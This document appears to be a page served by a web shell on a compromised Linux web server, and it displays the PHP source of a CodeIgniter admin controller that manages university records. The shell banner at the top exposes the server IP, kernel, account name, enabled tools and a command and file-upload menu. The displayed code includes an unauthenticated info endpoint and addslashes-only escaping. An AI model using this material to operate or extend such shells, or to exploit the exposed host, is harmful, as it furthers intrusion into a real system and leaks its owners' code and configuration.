GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.146.152.147 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../web/../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to branches. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class University extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/UniversityManagement'); $this->load->model('admin/LocationManagement'); $this->load->model('admin/MediaAndDocManagement'); $this->load->model('admin/DocumentManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allUniversities'] = $this->UniversityManagement->getAllUniversities()->result(); $this->load->view('admin/universities', $viewData); } else { redirect("admin/"); } } public function createUniversity() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllStates()->result(); $this->load->view('admin/createUniversity', $viewData); } else { redirect("admin/"); } } public function saveNewUniversity() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('univName', 'University Name', 'trim|required', array('required' => 'University Name Can Not Be Blank.')); $this->form_validation->set_rules('univMob', 'University Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'University Mobile Number Can Not Be Blank')); $this->form_validation->set_rules('univEmail', 'University Email', 'trim|required|valid_email', array('required' => 'University Email Is Required.')); $queryByUniversityName = $this->UniversityManagement->getUniversityByName(trim($this->input->post('univName'))); $univInfoByName = $queryByUniversityName->result(); $queryByUniversityEmail = $this->UniversityManagement->getUniversityByEmail(trim($this->input->post('univEmail'))); $univInfoByEmail = $queryByUniversityEmail->result(); $queryByUniversityMobile = $this->UniversityManagement->getUniversityByMobile(trim($this->input->post('univMob'))); $univInfoByMobile = $queryByUniversityMobile->result(); if ($this->form_validation->run() == FALSE) { $this->createUniversity(); } else if (empty($_FILES['univLogo']['name'])) { $this->form_validation->set_rules('univLogo', 'University Logo', 'required', array('required' => 'University Logo Is Required.')); $this->form_validation->run(); $this->createUniversity(); } else if (sizeof($univInfoByName)) { $this->session->set_flashdata('errorMessage', "A University With This Name Already Exits. Please choose A Different Name."); $this->createUniversity(); } else if (sizeof($univInfoByEmail)) { $this->session->set_flashdata('errorMessage', "A University With This Email Already Exits. Please Try With Different Email."); $this->createUniversity(); } else if (sizeof($univInfoByMobile)) { $this->session->set_flashdata('errorMessage', "A University With This Mobile Number Already Exits. Please Try With Different Mobile."); $this->createUniversity(); } else { $universityLogoImageNameWithPath = ""; $configLogoImg['upload_path'] = './assets/admin/images/univlogo/'; $configLogoImg['allowed_types'] = 'jpeg|jpg|png|webp'; $configLogoImg['max_size'] = '500'; $configLogoImg['file_ext_tolower'] = TRUE; $configLogoImg['encrypt_name'] = TRUE; $this->load->library('upload', $configLogoImg); if (!$this->upload->do_upload('univLogo')) { $this->session->set_flashdata('errorMessage', "The Logo Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.webp."); $this->createUniversity(); } else { $universityLogoImageNameWithPath = "/assets/admin/images/univlogo/" . $this->upload->data()['file_name']; $newUniversityInfo = array( 'univ_name' => addslashes(trim($this->input->post('univName'))), 'univ_short_name' => addslashes(trim($this->input->post('univShortName'))), 'univ_state' => ($this->input->post('univState') == "") ? 0 : $this->input->post('univState'), 'univ_city' => ($this->input->post('univCity') == "") ? 0 : $this->input->post('univCity'), 'univ_full_address' => addslashes(trim($this->input->post('univFullAddress'))), 'univ_tel_no' => trim($this->input->post('univTelNo')), 'univ_mob_no' => trim($this->input->post('univMob')), 'univ_fax' => trim($this->input->post('univFax')), 'univ_email' => trim($this->input->post('univEmail')), 'univ_website_url' => trim($this->input->post('univWebsite')), 'univ_tel_no_alt' => trim($this->input->post('univAltTelNo')), 'univ_mob_no_alt' => trim($this->input->post('univAltMob')), 'univ_added_on' => date("Y-m-d H:i:s"), 'univ_added_by' => $this->session->userdata("adminData")["smember_id"], 'univ_updated_on' => date("Y-m-d H:i:s"), 'univ_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->db->trans_start(); $univ_id = $this->UniversityManagement->createNewUniversity($newUniversityInfo); if ($univ_id) { $university_doc_master_info = $this->DocumentManagement->getDocumentByFlag("UL")->result()[0]; $universityLogoInfo = array( 'tddi_doc_id' => $university_doc_master_info->doc_id, 'tddi_doc_file_path' => $universityLogoImageNameWithPath, 'tddi_code' => $university_doc_master_info->doc_id, 'tddi_user_type_flag' => 'UL', 'tddi_mapping_id' => $univ_id, 'tddi_added_on' => date("Y-m-d H:i:s"), 'tddi_updated_on' => date("Y-m-d H:i:s"), 'tddi_added_by' => $this->session->userdata("adminData")["smember_id"], 'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->MediaAndDocManagement->createNewMediaAndDoc($universityLogoInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'University Created Successfully.'); redirect("admin/University"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Handling University Logo File. Try Later.'); redirect("admin/University"); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating New University. Try Later.'); $this->createUniversity(); } } } } else { redirect("admin/"); } } public function editUniversity($univ_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllStates()->result(); $viewData['universityInfo'] = $this->UniversityManagement->getUniversityInfoBy($univ_id)->result()[0]; $this->load->view('admin/editUniversity', $viewData); } else { redirect("admin/"); } } public function updateUniversity() { if ($this->sessionvalidator->isLoggedIn()) { $univ_id = $this->input->post('univ_id'); $this->form_validation->set_rules('univName', 'University Name', 'trim|required', array('required' => 'University Name Can Not Be Blank.')); $this->form_validation->set_rules('univMob', 'University Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'University Mobile Number Can Not Be Blank')); $this->form_validation->set_rules('univEmail', 'University Email', 'trim|required|valid_email', array('required' => 'University Email Is Required.')); $universityCurrentLogoImageFileName = substr($this->input->post('tddi_doc_path'), strripos($this->input->post('tddi_doc_path'), "/") + 1); if ($this->form_validation->run() == FALSE) { $this->editUniversity($univ_id); } else if (!$this->UniversityManagement->isUniversityNameSafeUpdate($univ_id, trim($this->input->post('univName')))) { $this->session->set_flashdata('errorMessage', "A University With This Name (" . $this->input->post('univName') . ") Already Exits. Please choose A Different Name."); $this->editUniversity($univ_id); } else if (!$this->UniversityManagement->isUniversityEmailSafeUpdate($univ_id, trim($this->input->post('univEmail')))) { $this->session->set_flashdata('errorMessage', "A University With This Email (" . $this->input->post('univEmail') . ") Already Exits. Please Try With Different Email."); $this->editUniversity($univ_id); } else if (!$this->UniversityManagement->isUniversityMobileSafeUpdate($univ_id, trim($this->input->post('univMob')))) { $this->session->set_flashdata('errorMessage', "A University With This Mobile (" . $this->input->post('univMob') . ") Number Already Exits. Please Try With Different Mobile."); $this->editUniversity($univ_id); } else { if (!empty($_FILES['univLogo']['name'])) { $universityLogoImageNameWithPath = ""; $configLogoImgUpdate['upload_path'] = './assets/admin/images/univlogo/'; $configLogoImgUpdate['allowed_types'] = 'jpeg|jpg|png|webp'; $configLogoImgUpdate['max_size'] = '500'; $configLogoImgUpdate['file_ext_tolower'] = TRUE; $configLogoImgUpdate['encrypt_name'] = TRUE; $this->load->library('upload', $configLogoImgUpdate); if (!$this->upload->do_upload('univLogo')) { $this->session->set_flashdata('errorMessage', "The Logo Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg,*.webp."); $this->editUniversity($univ_id); } else { $universityLogoImageNameWithPath = "/assets/admin/images/univlogo/" . $this->upload->data()['file_name']; $universityInfo = array( 'univ_id' => $univ_id, 'univ_name' => addslashes(trim($this->input->post('univName'))), 'univ_short_name' => addslashes(trim($this->input->post('univShortName'))), 'univ_state' => ($this->input->post('univState') == "") ? 0 : $this->input->post('univState'), 'univ_city' => ($this->input->post('univCity') == "") ? 0 : $this->input->post('univCity'), 'univ_full_address' => addslashes(trim($this->input->post('univFullAddress'))), 'univ_tel_no' => trim($this->input->post('univTelNo')), 'univ_mob_no' => trim($this->input->post('univMob')), 'univ_fax' => trim($this->input->post('univFax')), 'univ_email' => trim($this->input->post('univEmail')), 'univ_website_url' => trim($this->input->post('univWebsite')), 'univ_tel_no_alt' => trim($this->input->post('univAltTelNo')), 'univ_mob_no_alt' => trim($this->input->post('univAltMob')), 'univ_updated_on' => date("Y-m-d H:i:s"), 'univ_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->db->trans_start(); if ($this->UniversityManagement->updateUniversityInfo($universityInfo)) { if (!empty($_FILES['univLogo']['name'])) { $universityLogoInfo = array( 'tddi_id' => $this->input->post('tddi_doc_id'), 'tddi_doc_file_path' => $universityLogoImageNameWithPath, 'tddi_updated_on' => date("Y-m-d H:i:s"), 'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->MediaAndDocManagement->updateMediaAndDoc($universityLogoInfo)) { if (file_exists("./assets/admin/images/univlogo/" . $universityCurrentLogoImageFileName)) { unlink("./assets/admin/images/univlogo/" . $universityCurrentLogoImageFileName); } $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'University Updated Successfully.'); redirect("admin/University"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Handling University Logo Info. Try Later.'); redirect("admin/University"); } } else { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'University Updated Successfully.'); redirect("admin/University"); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating University. Try Later.'); $this->editUniversity($univ_id); } } } else { $universityInfo = array( 'univ_id' => $univ_id, 'univ_name' => addslashes(trim($this->input->post('univName'))), 'univ_short_name' => addslashes(trim($this->input->post('univShortName'))), 'univ_state' => ($this->input->post('univState') == "") ? 0 : $this->input->post('univState'), 'univ_city' => ($this->input->post('univCity') == "") ? 0 : $this->input->post('univCity'), 'univ_full_address' => addslashes(trim($this->input->post('univFullAddress'))), 'univ_tel_no' => trim($this->input->post('univTelNo')), 'univ_mob_no' => trim($this->input->post('univMob')), 'univ_fax' => trim($this->input->post('univFax')), 'univ_email' => trim($this->input->post('univEmail')), 'univ_website_url' => trim($this->input->post('univWebsite')), 'univ_tel_no_alt' => trim($this->input->post('univAltTelNo')), 'univ_mob_no_alt' => trim($this->input->post('univAltMob')), 'univ_updated_on' => date("Y-m-d H:i:s"), 'univ_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $this->db->trans_start(); if ($this->UniversityManagement->updateUniversityInfo($universityInfo)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'University Updated Successfully.'); redirect("admin/University"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating University. Try Later.'); $this->editUniversity($univ_id); } } } } else { redirect("admin/"); } } public function toggleUniversityActiveStatus($univ_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $universityUpdateData = array( 'univ_id' => $univ_id, 'univ_updated_on' => date("Y-m-d H:i:s"), 'univ_updated_by' => $this->session->userdata("adminData")["smember_id"], 'univ_active_status' => $toUpdateStatus ); if ($this->UniversityManagement->updateUniversityInfo($universityUpdateData)) { $this->session->set_flashdata('successMessage', 'University Status Updated Successfully.'); redirect("admin/University"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating University Status. Try Later.'); redirect("admin/University"); } } else { redirect("admin/"); } } public function deleteUniversity($univ_id) { if ($this->sessionvalidator->isLoggedIn()) { $universityUpdateData = array( 'univ_id' => $univ_id, 'univ_updated_on' => date("Y-m-d H:i:s"), 'univ_updated_by' => $this->session->userdata("adminData")["smember_id"], 'univ_delete_status' => 'T' ); if ($this->UniversityManagement->updateUniversityInfo($universityUpdateData)) { $this->session->set_flashdata('successMessage', 'University Deleted Successfully.'); redirect("admin/University"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting University. Try Later.'); redirect("admin/University"); } } else { redirect("admin/"); } } public function undoDeleteUniversity($univ_id) { if ($this->sessionvalidator->isLoggedIn()) { $universityUpdateData = array( 'univ_id' => $univ_id, 'univ_updated_on' => date("Y-m-d H:i:s"), 'univ_updated_by' => $this->session->userdata("adminData")["smember_id"], 'univ_delete_status' => 'F' ); if ($this->UniversityManagement->updateUniversityInfo($universityUpdateData)) { $this->session->set_flashdata('successMessage', 'University Recovered Successfully.'); redirect("admin/University"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering University. Try Later.'); redirect("admin/University"); } } else { redirect("admin/"); } } public function getUniversityFullInfo() { $univ_id = $_POST['univ_id']; $univ_info = $this->UniversityManagement->getUniversityInfoBy($univ_id)->result()[0]; $activeStatus = ""; if ($univ_info->univ_active_status == "T" && $univ_info->univ_delete_status == "F") { $activeStatus = "<i class='fa fa-check' style='color:#00FF00;'></i> Active"; } else if ($univ_info->univ_active_status == "F" && $univ_info->univ_delete_status == "F") { $activeStatus = "<i class='fa fa-ban' style='color:#FF0000;'></i> Disabled"; } else { $activeStatus = "<i class='fa fa-trash' style='color:#FF0000;'></i> Deleted"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'univ_id' => $univ_info->univ_id, 'univ_name' => stripslashes($univ_info->univ_name), 'univ_short_name' => ($univ_info->univ_short_name == "" || $univ_info->univ_short_name == NULL) ? "" : stripslashes($univ_info->univ_short_name), 'univ_logo' => $univ_info->univ_logo, 'univ_state' => $univ_info->state_name, 'univ_city' => $univ_info->city_name, 'univ_address' => ($univ_info->univ_full_address == "" || $univ_info->univ_full_address == NULL) ? "-" : stripslashes($univ_info->univ_full_address), 'univ_tel_no' => ($univ_info->univ_tel_no == "" || $univ_info->univ_tel_no == NULL) ? "-" : $univ_info->univ_tel_no, 'univ_mob_no' => $univ_info->univ_mob_no, 'univ_delete_status' => ($univ_info->univ_delete_status == "T") ? "<i class='fa fa-check' style='color:#00FF00;'></i> Deleted" : "<i class='fa fa-times' style='color:#FF0000;'></i> Not Deleted", 'univ_active_status' => $activeStatus, 'univ_fax' => ($univ_info->univ_fax == "" || $univ_info->univ_fax == NULL) ? "NA" : $univ_info->univ_fax, 'univ_email' => $univ_info->univ_email, 'univ_alt_tel_no' => ($univ_info->univ_tel_no_alt == "" || $univ_info->univ_tel_no_alt == NULL) ? "NA" : $univ_info->univ_tel_no_alt, 'univ_alt_mob_no' => ($univ_info->univ_mob_no_alt == "" || $univ_info->univ_mob_no_alt == NULL) ? "NA" : $univ_info->univ_mob_no_alt, 'univ_website' => ($univ_info->univ_website_url == "" || $univ_info->univ_website_url == NULL) ? "NA" : $univ_info->univ_website_url, 'univ_created_by' => $univ_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($univ_info->univ_added_on)), 'univ_updated_by' => $univ_info->updatedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($univ_info->univ_updated_on)) ); echo json_encode($responseData); } }